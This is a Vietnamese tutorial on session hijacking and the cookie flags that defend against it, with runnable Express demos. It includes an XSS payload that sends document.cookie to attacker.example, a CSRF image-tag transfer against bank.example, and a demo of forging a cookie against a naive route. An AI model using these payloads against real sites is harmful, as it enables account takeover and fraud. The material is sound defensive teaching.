Bạn vừa đăng nhập vào trang quản trị, vài phút sau tài khoản đã nằm trong tay người khác. Kẻ tấn công không hề biết mật khẩu của bạn — họ chỉ cần Session ID nằm trong Cookie. Đây là Session Hijacking, và nó diễn ra âm thầm: với server, mọi request của kẻ tấn công đều “hợp lệ”.
Bài viết này mổ xẻ cách Cookie bị đánh cắp, rồi đi qua bốn lớp phòng thủ mà session cookie bắt buộc phải có: httpOnly, Secure, SameSite và Cookie Signing. Nếu ứng dụng của bạn quản lý session bằng Cookie, hãy mở lại file config ngay sau khi đọc xong.
1. Cookies là gì?
Cookie là một cặp name=value nhỏ (tối đa khoảng 4KB) mà server nhờ trình duyệt giữ hộ — không phải “tập tin” như nhiều tài liệu vẫn mô tả. HTTP vốn stateless: mỗi request là một tờ giấy trắng, server không tự nhớ bạn là ai. Cookie chính là mẩu giấy nhớ đó, và trình duyệt tự động đính kèm nó vào mọi request kế tiếp đến cùng domain.
Hãy nhớ kỹ hai chữ tự động — nó vừa là tiện ích lớn nhất của Cookie, vừa là gốc rễ của mọi lỗ hổng trong bài viết này.
1.1. Cách Cookies hoạt động
- Trình duyệt gửi request đến server.
- Server trả về response kèm header
Set-Cookie: sessionId=abc123; Path=/. - Trình duyệt lưu cặp key-value đó lại.
- Từ đó về sau, mọi request đến cùng domain đều tự động mang theo header
Cookie: sessionId=abc123— bạn không phải viết một dòng code nào.
1.2. Ví dụ minh họa
Cookie thường được set từ server, nhưng JavaScript trên trình duyệt cũng đọc và ghi được qua document.cookie:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Cookie Demo</title>
</head>
<body>
<script>
// Ghi Cookie: mỗi lần gán là thêm/cập nhật MỘT cookie
document.cookie = "username=John; path=/";
document.cookie = "lang=vi; path=/";
// Đọc Cookie: trả về TẤT CẢ cookie đọc được, gộp thành một chuỗi
console.log("Cookie:", document.cookie);
// Cookie: username=John; lang=vi
</script>
</body>
</html>Giải thích:
- Gán
document.cookiekhông ghi đè toàn bộ, mà chỉ thêm hoặc cập nhật đúng cookie có tên đó. - Khi đọc, bạn nhận về một chuỗi duy nhất chứa mọi cookie của domain — không có API nào trả về từng cookie riêng lẻ.
- Trình duyệt sẽ tự gửi
username=John; lang=vikèm mọi request đến domain này, nên server biết ngay đây là John và đang xem giao diện tiếng Việt.
Hãy ghi nhớ document.cookie, vì nó là nhân vật chính của phần tiếp theo: bất kỳ đoạn JavaScript nào chạy trên trang của bạn — kể cả script do kẻ tấn công chèn vào — đều đọc được chuỗi này.
2. Session Hijacking: Khi Cookie Trở Thành Mục Tiêu Tấn Công
Session ID là một bearer token — theo đúng nghĩa đen: “ai cầm cũng được”. Server không lưu dấu vân tay của trình duyệt bạn ở đâu cả; nó chỉ kiểm tra Session ID trong Cookie có khớp một phiên đang mở hay không. Khớp thì trả dữ liệu. Vì thế với server, request từ trình duyệt của bạn và request từ máy kẻ tấn công cầm Session ID đánh cắp là hoàn toàn không phân biệt được.
Đó là lý do đánh cắp session nguy hiểm hơn lộ mật khẩu: có Session ID hợp lệ rồi thì kẻ tấn công vào thẳng, khỏi cần qua màn hình đăng nhập — nghĩa là 2FA không được hỏi tới, và cảnh báo “đăng nhập từ thiết bị lạ” cũng không kích hoạt. Con đường phổ biến nhất để lấy Session ID là XSS (Cross-Site Scripting).
2.1. Kịch bản tấn công thực tế
Giả sử trang của bạn có ô bình luận, và server render nội dung comment thẳng ra HTML mà không escape. Kẻ tấn công chỉ cần gửi một comment chứa thẻ <script>. Từ giây phút đó, đoạn script bên dưới chạy trong trình duyệt của mọi người mở trang:
1
2
3
4
5
6
7
8
9
10
// Chạy trong trình duyệt nạn nhân, trên chính domain của bạn.
// Session cookie đang KHÔNG được bảo vệ: sessionId=abc123
const stolen = document.cookie;
// Đẩy toàn bộ Cookie sang server của kẻ tấn công
fetch("https://attacker.example/steal?cookie=" + encodeURIComponent(stolen));
// Server kẻ tấn công log lại: sessionId=abc123
// Dán chuỗi này vào trình duyệt của họ là vào thẳng tài khoản nạn nhân.Chi tiết khiến đòn này hiệu quả: script không chạy trên máy kẻ tấn công mà chạy ngay trong trình duyệt nạn nhân, dưới cùng origin với trang thật của bạn. Trình duyệt không có cách nào phân biệt code bạn tự viết với code bị chèn vào — cùng origin thì cùng quyền, nên lệnh đọc document.cookie được thực thi y hệt mọi đoạn script hợp lệ khác. Chính vì document.cookie mặc định mở toang như vậy nên mới cần httpOnly ở mục 3 để khóa Session ID khỏi tầm với của JavaScript.
Luồng tấn công XSS để chiếm Cookie:
View Mermaid diagram code
sequenceDiagram
participant Attacker as Kẻ Tấn Công
participant Server as Server
participant Browser as Trình Duyệt Nạn Nhân
Attacker->>Server: Post comment chứa payload XSS
Note over Server: Lưu comment, không escape
rect rgb(42, 21, 23)
Note over Browser,Server: Giai đoạn 1 — Đánh cắp
Browser->>Server: Mở trang comment
Server-->>Browser: HTML kèm payload
Note over Browser: Thực thi payload (same-origin)<br/>đọc document.cookie
Browser->>Attacker: GET https://attacker.example/steal?cookie=sessionId=abc123
end
rect rgb(14, 34, 51)
Note over Attacker,Server: Giai đoạn 2 — Mạo danh
Attacker->>Server: Request kèm Cookie=sessionId=abc123
Server-->>Attacker: Trả dữ liệu như thể là nạn nhân
Note over Server: Không phân biệt được<br/>nạn nhân với kẻ tấn công
endBốn điểm yếu khiến kịch bản trên thành công:
| Điểm yếu | Hậu quả | Khắc phục |
|---|---|---|
Cookie không có httpOnly | JavaScript đọc được document.cookie | Mục 3 |
| Cookie gửi qua HTTP | Bị nghe lén trên đường truyền | Mục 4 |
Cookie không có SameSite | Bị lợi dụng để tấn công CSRF | Mục 5 |
| Cookie không được ký (unsigned) | Giá trị bị chỉnh sửa mà server không biết | Mục 6 |
Bốn mục tiếp theo xử lý lần lượt từng điểm yếu. Lưu ý trước: không biện pháp nào thay thế được biện pháp nào — session cookie cần cả bốn.
3. Giải pháp 1: httpOnly - Ngăn JavaScript Đọc Cookie
3.1. Vấn đề: mọi Cookie thường đều đọc được từ JavaScript
Mọi Cookie thiếu cờ httpOnly — dù server set hay JavaScript tự set — đều nằm trong chuỗi mà document.cookie trả về. Ở đây không có cơ chế phân quyền nào: script nào chạy trên trang thì script đó đọc được. Bấm Run để thấy:
1
2
3
4
5
6
// Cookie thường — bất kỳ script nào trên trang cũng đọc được
document.cookie = "sessionId=abc123; path=/";
const leaked = document.cookie;
console.log("XSS đọc được:", leaked);
// XSS đọc được: sessionId=abc123Chuỗi sessionId=abc123 in ra ở trên chính là thứ mà payload fetch('https://attacker.example/steal?cookie=' + document.cookie) ở mục 2 gửi về server kẻ tấn công. Muốn chặn bước này, phải làm cho Session ID không còn xuất hiện trong chuỗi mà document.cookie trả về.
3.2. Cách bật httpOnly (từ phía server)
httpOnly là một cờ của header Set-Cookie, nên chỉ server đặt được — không có cách nào bật nó từ document.cookie. Với Node.js/Express 5:
▶ Chạy thử ở máy bạn: session-hijacking/httponly-cookie.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require("express");
const crypto = require("crypto");
const app = express();
app.get("/login", (req, res) => {
const sessionId = crypto.randomBytes(32).toString("hex");
res.cookie("sessionId", sessionId, {
httpOnly: true, // JS không đọc được, nhưng trình duyệt vẫn gửi kèm request
maxAge: 3600000, // 1 giờ
});
res.send("Logged in successfully!");
});
app.listen(3000);Chạy server rồi gọi curl -i http://localhost:3000/login, đây là header nó trả về:
1
Set-Cookie: sessionId=744a1590fddbb580b5aaf0eb2568e091eece96b64e58f1a7339f897e5d7228d2; Max-Age=3600; Path=/; Expires=Mon, 13 Jul 2026 04:48:14 GMT; HttpOnlyGiải thích:
- Chữ
HttpOnlyở cuối header là toàn bộ cơ chế bảo vệ. Trình duyệt vẫn lưu Cookie này và vẫn tự đính kèm nó vào mọi request tới domain — session đăng nhập hoạt động y như cũ — nhưng nó loại Cookie ra khỏi chuỗi màdocument.cookietrả về. Payload XSS ở mục 2 chạy lại lúc này chỉ gửi về server kẻ tấn công một chuỗi rỗng. res.cookie()của Express tự dịch optionhttpOnly: truethành cờ đó, vàmaxAge(mili-giây) thànhMax-Age(giây) kèmExpirescho trình duyệt cũ.- Session ID phải sinh bằng CSPRNG (
crypto.randomBytes()hoặccrypto.randomUUID()) với tối thiểu 64 bit entropy (khuyến nghị OWASP).Math.random()đoán trước được, mở đường cho tấn công session prediction — httpOnly giữ Cookie khỏi bị đọc, nhưng không cứu được một Session ID đoán được.
3.3. httpOnly chặn được gì, và KHÔNG chặn được gì
Đây là chỗ nhiều người hiểu sai và nghĩ chỉ httpOnly là đủ. httpOnly chỉ chặn đánh cắp Cookie (exfiltration) — nó không làm cho trang hết bị XSS:
- Không chặn session riding. Payload XSS không cần đọc Cookie vẫn hành động thay bạn được: nó gọi thẳng
fetch('/api/transfer', ...)same-origin, và trình duyệt tự đính kèm Cookie httpOnly vào request đó. Kẻ tấn công không thấy Session ID, nhưng lệnh chuyển tiền vẫn chạy dưới danh nghĩa bạn. - Không chặn CSRF, không chặn nghe lén. Đó là việc của SameSite (mục 5) và Secure (mục 4).
- Không thay thế việc diệt XSS từ gốc. Phải escape/encode output và bật Content Security Policy (CSP). httpOnly là lớp giảm thiểu thiệt hại, không phải lớp phòng thủ duy nhất.
Nói cách khác: httpOnly là bắt buộc cho session cookie, nhưng nó là một trong bốn lớp — không phải cả bốn.
4. Giải pháp 2: Secure - Chỉ Cho Cookie Đi Qua HTTPS
httpOnly chỉ giấu Cookie khỏi JavaScript, không đụng tới đường truyền. Qua HTTP, header Cookie đi dưới dạng plain text, nên bất kỳ ai xen vào giữa — router WiFi quán cà phê, một máy cùng mạng chạy ARP spoofing — đều đọc trọn Session ID.
Secure vá đúng chỗ này: cũng là một cờ của Set-Cookie, nó bắt trình duyệt chỉ gửi Cookie qua HTTPS. Qua HTTP thì không đính kèm — và như mục 4.2 cho thấy, trình duyệt còn từ chối lưu nó ngay từ đầu.
4.1. Nghe lén Session ID trên HTTP
Không cần Wireshark để thấy vấn đề — chỉ cần một đoạn TCP relay đóng vai “mạng WiFi công cộng”, ngồi giữa client và server rồi in ra mọi byte đi qua. Đây là toàn bộ file, chạy được ngay sau khi npm install express:
▶ Chạy thử ở máy bạn: session-hijacking/secure-cookie.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const express = require("express");
const crypto = require("crypto");
const net = require("net");
const APP_PORT = 3002; // server thật
const WIFI_PORT = 3001; // đoạn mạng công cộng kẻ tấn công nghe lén
const SECURE = process.env.SECURE === "1"; // bật/tắt để so sánh hai lần chạy
const app = express();
app.get("/login", (req, res) => {
const sessionId = crypto.randomBytes(32).toString("hex");
res.cookie("sessionId", sessionId, {
httpOnly: true,
secure: SECURE, // khác biệt duy nhất giữa hai lần chạy
maxAge: 3600000,
});
res.send("Logged in\n");
});
app.get("/me", (req, res) => {
res.send(`Server nhận được Cookie: ${req.headers.cookie ?? "(không có)"}\n`);
});
app.listen(APP_PORT);
// Kẻ nghe lén: relay TCP, in ra mọi byte client gửi qua mạng công cộng
net
.createServer((client) => {
const upstream = net.connect(APP_PORT, "127.0.0.1");
client.on("data", (chunk) => {
console.log("--- Kẻ nghe lén đọc được ---");
console.log(chunk.toString().trim());
upstream.write(chunk);
});
upstream.on("data", (chunk) => client.write(chunk));
client.on("error", () => {});
upstream.on("error", () => {});
})
.listen(WIFI_PORT);Mở hai terminal. Terminal 1 chạy server (chưa bật Secure), terminal 2 đóng vai trình duyệt đi qua mạng công cộng ở port 3001 — dùng hostname app.test chứ không phải localhost, vì lý do giải thích ở mục 4.2:
1
2
3
4
5
6
# Terminal 1
node secure-cookie.js
# Terminal 2 — đăng nhập rồi gọi tiếp /me qua HTTP
curl -s -c jar.txt --resolve app.test:3001:127.0.0.1 http://app.test:3001/login
curl -s -b jar.txt --resolve app.test:3001:127.0.0.1 http://app.test:3001/meTerminal 1 in ra đúng những byte kẻ nghe lén đọc được ở request thứ hai:
1
2
3
4
5
6
7
8
9
10
11
--- Kẻ nghe lén đọc được ---
GET /login HTTP/1.1
Host: app.test:3001
User-Agent: curl/8.18.0
Accept: */*
--- Kẻ nghe lén đọc được ---
GET /me HTTP/1.1
Host: app.test:3001
User-Agent: curl/8.18.0
Accept: */*
Cookie: sessionId=c71df00cc00bcbd7b981b86f34ff391af5d4570b0858861e212ea79818b456eaSession ID nằm phơi trên đường truyền. Dán chuỗi đó vào request của mình là kẻ tấn công vào thẳng phiên của nạn nhân — không cần mật khẩu, không chạm tới document.cookie, nên httpOnly không ngăn được cuộc tấn công này.
4.2. Cách Secure bảo vệ
Bật Secure chỉ là đổi một biến. Khởi động lại server với SECURE=1, rồi chạy lại đúng hai lệnh curl ở terminal 2:
1
2
# Terminal 1
SECURE=1 node secure-cookie.jsHeader Set-Cookie giờ có thêm cờ Secure ở cuối:
1
Set-Cookie: sessionId=d23f5b15...; Max-Age=3600; Path=/; HttpOnly; SecureCờ đó yêu cầu HTTPS, nhưng kết nối đang là HTTP, nên trình duyệt không lưu Cookie. Request /me tiếp theo đi ra rỗng, và server xác nhận:
1
2
3
4
5
6
7
8
9
10
--- Kẻ nghe lén đọc được ---
GET /login HTTP/1.1
Host: app.test:3001
User-Agent: curl/8.18.0
Accept: */*
--- Kẻ nghe lén đọc được ---
GET /me HTTP/1.1
Host: app.test:3001
User-Agent: curl/8.18.0
Accept: */*Request thứ hai không còn dòng Cookie:, nên kẻ nghe lén không bắt được gì. Điểm mấu chốt: Secure không mã hóa Cookie — đó là việc của TLS — mà chặn ngay từ khâu lưu và gửi, để Cookie không bao giờ đi qua một kết nối không phải HTTPS.
Lưu ý khi dùng Secure
Môi trường localhost: Cookie có Secure vẫn hoạt động trên
http://localhostvì các trình duyệt hiện đại (Chrome ≥ 89, Firefox ≥ 75) coilocalhostlà secure context (Safari thì chưa) — curl cũng vậy. Chính vì thế ví dụ trên phải dùng hostnameapp.test: chạy lại cùng serverSECURE=1nhưng gọi qualocalhost, Cookie lại được lưu và gửi đi bình thường:1
2
3curl -s -c jar.txt http://localhost:3001/login curl -s -b jar.txt http://localhost:3001/me # Server nhận được Cookie: sessionId=e3ae2846c1e549c80db348693839f40aebc97b3c6e644110f42e6f0f21c576a6Đây là lý do đừng test cờ Secure trên localhost — kết quả gây hiểu nhầm. Để chạy ổn định trên mọi trình duyệt khi dev, chỉ bật Secure ở production:
1
2
3
4
5res.cookie("sessionId", sessionId, { httpOnly: true, secure: process.env.NODE_ENV === "production", maxAge: 3600000, });Luôn đi cùng httpOnly: hai cờ chặn hai đường khác nhau — httpOnly chặn JavaScript đọc Cookie, Secure chặn đường truyền HTTP để lộ Cookie. Session cookie cần cả hai.
HTTPS cho toàn site, không chỉ trang login: một request HTTP tới bất kỳ đường dẫn nào chia sẻ domain cũng đủ để rò Cookie không-Secure. Bật HTTPS mọi nơi thì Secure mới có tác dụng thực sự.
5. Giải pháp 3: SameSite - Ngăn Cookie Đi Kèm Request Cross-Site
Cả cơ chế này xoay quanh đúng một chữ, nên phải chốt trước: “site” là gì.
Trình duyệt không so sánh URL đầy đủ. Nó so sánh registrable domain — phần tên miền bạn đăng ký được, tức eTLD+1 (bank.example) — cộng thêm scheme. Cùng registrable domain và cùng scheme thì là same-site, khác thì là cross-site. Lấy Cookie của https://bank.example làm mốc:
| Request phát đi từ | Quan hệ | Vì sao |
|---|---|---|
https://bank.example/settings | same-site | Cùng site |
https://api.bank.example | same-site | Subdomain vẫn thuộc bank.example |
https://bank.example:8080 | same-site | Port không được tính |
http://bank.example | cross-site | Khác scheme (schemeful same-site) |
https://attacker.example | cross-site | Registrable domain khác hẳn |
https://bank.example.attacker.example | cross-site | Registrable domain ở đây là attacker.example |
Hai dòng cuối là chỗ đáng nhớ. Một tên miền trông “có vẻ” thuộc về bank (bank.example.attacker.example) vẫn là site của kẻ tấn công — trình duyệt đọc từ phải sang trái, không đọc theo cảm tính của con người.
Đừng nhầm cross-site với cross-origin. Origin chặt hơn: scheme + host + port. https://api.bank.example là cross-origin với https://bank.example (khác host) nhưng vẫn same-site. CORS xét origin, còn SameSite xét site — nên SameSite lỏng hơn bạn tưởng, và mọi subdomain đều nằm trong vùng “tin cậy” của nó.
Vậy request cross-site là request phát đi trong lúc user đang ở một trang thuộc site khác với site của Cookie: user đang mở attacker.example, và trang đó gọi sang bank.example. Đó chính là kịch bản dưới đây.
5.1. CSRF hoạt động thế nào?
Ba lớp trước bảo vệ Cookie khỏi bị đọc. CSRF (Cross-Site Request Forgery) không cần đọc: kẻ tấn công lợi dụng đúng cái tiện ích ở mục 1 — trình duyệt tự đính kèm Cookie vào mọi request đến bank.example, kể cả request phát đi từ một site khác.
1
2
3
4
5
<!-- Trang web độc hại: attacker.example -->
<img src="https://bank.example/transfer?to=hacker&amount=10000" />
<!-- Nạn nhân đang đăng nhập bank.example, nên trình duyệt
tự đính kèm Cookie session của bank.example vào request này -->Không cần nạn nhân bấm gì — chỉ cần mở trang attacker.example, thẻ <img> tự phát request tới bank.example, và trình duyệt tự gắn Cookie session còn hiệu lực vào đó. Với server, request này không khác gì thao tác thật của nạn nhân:
Luồng tấn công CSRF:
View Mermaid diagram code
sequenceDiagram
participant User as Người Dùng
participant Bank as bank.example
participant Attacker as attacker.example
User->>Bank: Đăng nhập
Bank-->>User: Set-Cookie: sessionId=xyz
Note over User,Bank: User vẫn đăng nhập
User->>Attacker: Vào trang độc hại
Attacker-->>User: HTML với <img src="bank.example/transfer">
User->>Bank: GET /transfer (Cookie tự động gửi!)
Note over Bank: Cookie hợp lệ ✓
Bank-->>User: Chuyển tiền thành công
Note over Attacker: Lấy được tiền!Lưu ý: ví dụ <img src="https://bank.example/transfer?..."> chỉ hoạt động vì server để một thao tác thay đổi dữ liệu (chuyển tiền) truy cập được qua GET — bản thân điều đó đã là một lỗi thiết kế. Các thao tác thay đổi trạng thái phải yêu cầu POST kèm CSRF token.
5.2. Ba giá trị của SameSite
Bật SameSite cũng chỉ là thêm một option vào res.cookie(). lax là lựa chọn mặc định tốt cho hầu hết session cookie:
1
2
3
4
5
6
res.cookie("sessionId", sessionId, {
httpOnly: true,
secure: true,
sameSite: "lax", // chặn cross-site nhưng vẫn giữ UX khi điều hướng bằng link
maxAge: 3600000,
});Cookie có đi kèm request cross-site hay không phụ thuộc vào loại request, chứ không chỉ vào giá trị SameSite:
View Mermaid diagram code
flowchart TD
Req["Request cross-site tới bank.example"] --> Kind{"Loại request?"}
Kind -->|"Click link mở trang mới (GET)"| Nav{"SameSite?"}
Kind -->|"img, iframe, fetch, POST"| Sub{"SameSite?"}
Nav -->|Strict| Login["Không gửi Cookie: user thấy màn hình đăng nhập"]
Nav -->|Lax hoặc None| Logged["Gửi Cookie: vào thẳng trang đã đăng nhập"]
Sub -->|"Strict hoặc Lax"| Blocked["Không gửi Cookie: CSRF bị chặn"]
Sub -->|None| Risky["Gửi Cookie: CSRF vẫn thực hiện được"]
style Logged fill:#0e2233,stroke:#4aa8ff,stroke-width:1.5px,color:#9ecbff
style Login fill:#0e2233,stroke:#4aa8ff,stroke-width:1.5px,color:#9ecbff
style Blocked fill:#1a2c08,stroke:#c7ff50,stroke-width:1.5px,color:#c7ff50
style Risky fill:#2a1517,stroke:#ff6b6b,stroke-width:1.5px,color:#ffb3b3Site A có link sang site B: ba giá trị, ba kết quả
Nhánh trái của sơ đồ là chỗ duy nhất strict và lax khác nhau, nên hãy đi qua nó thật chậm. Bạn đang đăng nhập bank.example. Bạn mở blog.example — một site khác — và bấm vào link trỏ tới bank.example/dashboard:
strict— Chrome không gửi Cookie. Server nhận request không cósessionId, coi như bạn chưa đăng nhập, và trả về màn hình login — dù session vẫn còn hạn.lax— Chrome có gửi Cookie, vì đây là điều hướng top-level bằng GET. Dashboard mở ra ở trạng thái đã đăng nhập, đúng như bạn mong đợi khi bấm một cái link.none— Cookie cũng được gửi, y hệtlax. Trong tình huống này hai giá trị không khác gì nhau; khác biệt củanonechỉ lộ ra ở nhánh phải.
Bạn tự chạy lại được trong 5 phút, không cần domain thật. Mẹo ở đây: 127.0.0.1 và localhost là hai site khác nhau dưới mắt trình duyệt (hai registrable domain khác nhau, như bảng ở đầu mục 5), nên chỉ cần hai port trên máy bạn là đủ để SameSite có hiệu lực.
Toàn bộ code — bank set một lúc cả ba Cookie, site kia có link trỏ về bank:
▶ Chạy thử ở máy bạn: session-hijacking/samesite-cookie.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require("express");
const BANK_PORT = 3003; // bank -> http://127.0.0.1:3003
const BLOG_PORT = 3004; // site khác -> http://localhost:3004
const bank = express();
bank.get("/login", (req, res) => {
const base = { httpOnly: true, maxAge: 3600000 };
res.cookie("sess_strict", "s1", { ...base, sameSite: "strict" });
res.cookie("sess_lax", "s2", { ...base, sameSite: "lax" });
res.cookie("sess_none", "s3", { ...base, sameSite: "none", secure: true });
res.type("html").send(`<h1>bank: đã đăng nhập</h1>
<p>Giờ mở <a href="http://localhost:${BLOG_PORT}">site khác</a>.</p>`);
});
bank.get("/dashboard", (req, res) => {
// Cookie nào thực sự tới được server?
res.type("html").send(`<h1>bank: dashboard</h1>
<pre>${req.headers.cookie ?? "(không có Cookie nào)"}</pre>
<p>Bấm F5 để gửi lại chính request này.</p>`);
});
bank.listen(BANK_PORT);
const blog = express();
blog.get("/", (req, res) => {
res.type("html").send(`<h1>Một site khác</h1>
<p><a href="http://127.0.0.1:${BANK_PORT}/dashboard">Xem dashboard của bank</a></p>`);
});
blog.listen(BLOG_PORT);Chạy node samesite.js, rồi làm đúng ba bước: mở http://127.0.0.1:3003/login để nhận Cookie → mở http://localhost:3004 → bấm link “Xem dashboard của bank”. Đây là những gì server thực sự nhận được:
1
sess_lax=s2; sess_none=s3sess_strict biến mất, đúng như sơ đồ.
Bấm F5 không “cứu” được strict
Chỗ này gần như ai cũng đoán sai, kể cả tôi trước khi chạy thử: nhiều người tưởng cứ reload là Cookie strict quay lại. Không. Chrome giữ nguyên nơi khởi tạo của lần điều hướng đầu tiên, nên reload chính trang vừa mở từ site khác vẫn là một request cross-site:
1
2
3
4
Click link từ site khác: sess_lax=s2; sess_none=s3
Reload (F5) trang đó: sess_lax=s2; sess_none=s3 ← vẫn thiếu sess_strict
Gõ URL vào thanh địa chỉ: sess_strict=s1; sess_lax=s2; sess_none=s3
Click link bank → bank: sess_strict=s1; sess_lax=s2; sess_none=s3Cookie strict chỉ được gửi khi request xuất phát từ chính bank.example — user gõ URL, bấm bookmark, hoặc bấm một link nằm sẵn trên trang của bank. Đó là cái giá thật của strict: ai vào từ link ngoài sẽ thấy màn hình đăng nhập, và F5 không làm nó hết.
Nhánh phải: phần chống CSRF thật sự
Với <img> ở mục 5.1, fetch và POST cross-site, strict và lax chặn như nhau — Cookie không được gửi, request của kẻ tấn công tới server mà không có session. Còn none thì không chặn gì cả. Nói cách khác, chọn strict thay vì lax không mua thêm cho bạn chút chống CSRF nào; nó chỉ đổi trải nghiệm ở nhánh trái.
Nên chọn lax cho hầu hết website, strict cho session quan trọng (banking, admin), và none chỉ khi Cookie thật sự phải đi kèm request cross-origin (embedded content, API) — kèm theo Secure.
Ngoại lệ “Lax+POST” của Chromium: Cookie không khai báo SameSite vẫn được Chromium gửi kèm POST cross-site trong 2 phút đầu sau khi tạo. Khai báo sameSite: 'lax' tường minh thì không dính ngoại lệ này — thêm một lý do đừng phó mặc cho giá trị mặc định.
5.3. Lưu ý khi dùng SameSite
SameSite=None yêu cầu phải có Secure (HTTPS):
1
2
3
4res.cookie("thirdParty", value, { sameSite: "none", secure: true, // BẮT BUỘC với SameSite=None });Mặc định của trình duyệt: Các trình duyệt nhân Chromium (Chrome/Edge) mặc định
Laxtừ Chrome 80 (2020); Safari và Firefox bản release hiện vẫn coi Cookie không khai báo SameSite làNone(họ dựa vào ITP / Total Cookie Protection). Đừng dựa vào mặc định — luôn khai báosameSitetường minhSameSite không thay thế CSRF token: vì mọi subdomain đều là same-site (mục 5), một lỗ hổng XSS trên
blog.bank.examplevẫn gửi được request kèm Cookie sangbank.example. Ngoài raStrict/Laxlàm hỏng các luồng OAuth/SSO dùng POST callback cross-site. Hãy duy trì CSRF token và kiểm traOrigin/Sec-Fetch-Siteheader song song với SameSite
6. Giải pháp 4: Cookie Signing - Phát Hiện Chỉnh Sửa Trái Phép
Ba lớp trước giữ Cookie khỏi bị đọc trộm hoặc bị gửi đi từ site khác. Cả ba đều giả định kẻ tấn công đứng ngoài trình duyệt của nạn nhân. Mối đe dọa thứ tư đến từ chính người dùng: họ mở DevTools và sửa thẳng giá trị Cookie trước khi gửi lên. Signing xử lý đúng trường hợp này — server phát hiện được Cookie đã bị đổi.
6.1. Kịch bản tấn công Cookie Tampering
1
2
3
4
5
6
7
8
9
10
// Giả sử server lưu role trong Cookie (KHÔNG AN TOÀN)
res.cookie("role", "user", { httpOnly: true, secure: true });
// Người dùng mở DevTools, sửa Cookie:
// role=user → role=admin
// Server nhận Cookie và tin tưởng:
if (req.cookies.role === "admin") {
// Cho phép truy cập admin panel! 🚨
}Vấn đề: Server không có cách nào biết Cookie đã bị chỉnh sửa.
6.2. Cookie Signing với HMAC
Cookie Signing thêm một chữ ký mật mã (cryptographic signature) vào Cookie. Nếu Cookie bị thay đổi, chữ ký sẽ không còn khớp.
Đây là toàn bộ file, chạy được ngay sau khi npm install express cookie-parser. Route /admin đọc Cookie đã ký đúng cách; route /admin-naive cố tình đọc sai để ta thấy chuyện gì xảy ra:
▶ Chạy thử ở máy bạn: session-hijacking/signed-cookie.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const express = require("express");
const cookieParser = require("cookie-parser");
const app = express();
// Secret key để ký Cookie. Thực tế lưu trong environment variable.
app.use(cookieParser(process.env.COOKIE_SECRET));
app.get("/login", (req, res) => {
res.cookie("role", "user", {
signed: true, // bật cookie signing
httpOnly: true,
sameSite: "lax",
maxAge: 3600000,
});
res.send("Logged in as user\n");
});
// Đọc đúng: req.signedCookies chỉ trả giá trị khi chữ ký khớp
app.get("/admin", (req, res) => {
const role = req.signedCookies.role;
res.send(role === "admin" ? "Vào được admin panel\n" : "403 Access denied\n");
});
// Đọc sai: req.cookies là túi Cookie CHƯA ký, ai sửa cũng được
app.get("/admin-naive", (req, res) => {
const role = req.cookies.role;
res.send(role === "admin" ? "Vào được admin panel\n" : "403 Access denied\n");
});
app.listen(3005);Khởi động server với secret key trong environment variable, rồi đăng nhập và xem header Set-Cookie:
1
2
3
4
5
# Terminal 1 — secret bắt buộc, thiếu nó cookie-parser sẽ báo lỗi
COOKIE_SECRET=super-secret-key node signed-cookie.js
# Terminal 2
curl -i -s -c jar.txt http://localhost:3005/login | grep -i set-cookie1
Set-Cookie: role=s%3Auser.YZDiv2p47ikYQzVWr3vCcCKCu9HGKiXr56VV0slJiyQ; Max-Age=3600; Path=/; HttpOnly; SameSite=LaxGiải mã URL, giá trị Cookie có dạng s:user.<chữ ký>: tiền tố s: đánh dấu Cookie đã ký, user là giá trị thật, phần sau dấu . là chữ ký HMAC-SHA256 của user tính bằng secret key. Không có secret thì không tính lại được chữ ký khớp cho một giá trị khác.
Giải thích:
signed: truekhiến cookie-parser ký giá trị bằng HMAC-SHA256; trình duyệt nhận Cookie dạngs:user.<chữ ký>.- Đọc lại bằng
req.signedCookies.role: cookie-parser tính lại chữ ký từ secret. Khớp thì trả giá trị thật ("user"), sai thì trảfalse— đó là cách phát hiện chỉnh sửa.
Kiểm chứng bằng bốn request. Ba cái đầu tấn công route /admin (đọc req.signedCookies); cái cuối gửi đúng Cookie đã-xóa-chữ-ký đó sang /admin-naive (đọc req.cookies):
1
2
3
4
curl -s -b jar.txt http://localhost:3005/admin # nguyên vẹn -> 403
curl -s -b 'role=s%3Aadmin.chu-ky-bia' http://localhost:3005/admin # bịa chữ ký -> 403
curl -s -b 'role=admin' http://localhost:3005/admin # xóa hẳn chữ ký -> 403
curl -s -b 'role=admin' http://localhost:3005/admin-naive # xóa hẳn chữ ký -> Vào được admin panel| Cookie gửi lên | Route | req.signedCookies.role | req.cookies.role | Kết quả |
|---|---|---|---|---|
| nguyên vẹn | /admin | "user" | undefined | 403 |
| bịa chữ ký | /admin | false | undefined | 403 |
| xóa hẳn chữ ký | /admin | undefined | "admin" | 403 |
| xóa hẳn chữ ký | /admin-naive | undefined | "admin" | ✅ Vào được admin |
Dòng cuối là cạm bẫy: cùng đúng một Cookie mà /admin chặn còn /admin-naive cho vào. req.signedCookies và req.cookies là hai túi khác nhau — Cookie đã ký chỉ nằm trong signedCookies. Kẻ tấn công chỉ cần xóa hẳn chữ ký và gửi role=admin trơn; giá trị “sạch” đó rơi vào req.cookies, qua mặt route đọc nhầm túi. Với Cookie đã ký, chỉ đọc từ req.signedCookies.
Lưu ý: đừng lưu dữ liệu phân quyền trong Cookie
Ví dụ trên chỉ để minh họa cơ chế signing. Trong thực tế, đừng lưu dữ liệu phân quyền như role trong Cookie — kể cả đã ký:
- Signing chỉ phát hiện chỉnh sửa, không chống được replay: một admin bị hạ quyền vẫn có thể gửi lại Cookie
role=admincũ (chữ ký vẫn hợp lệ). - Server không thể thu hồi giá trị đã ký cho đến khi Cookie hết hạn hoặc đổi secret key.
Dữ liệu phân quyền phải nằm trong session phía server, tra cứu bằng Session ID trong mỗi request. Cookie chỉ nên chứa đúng một thứ: Session ID.
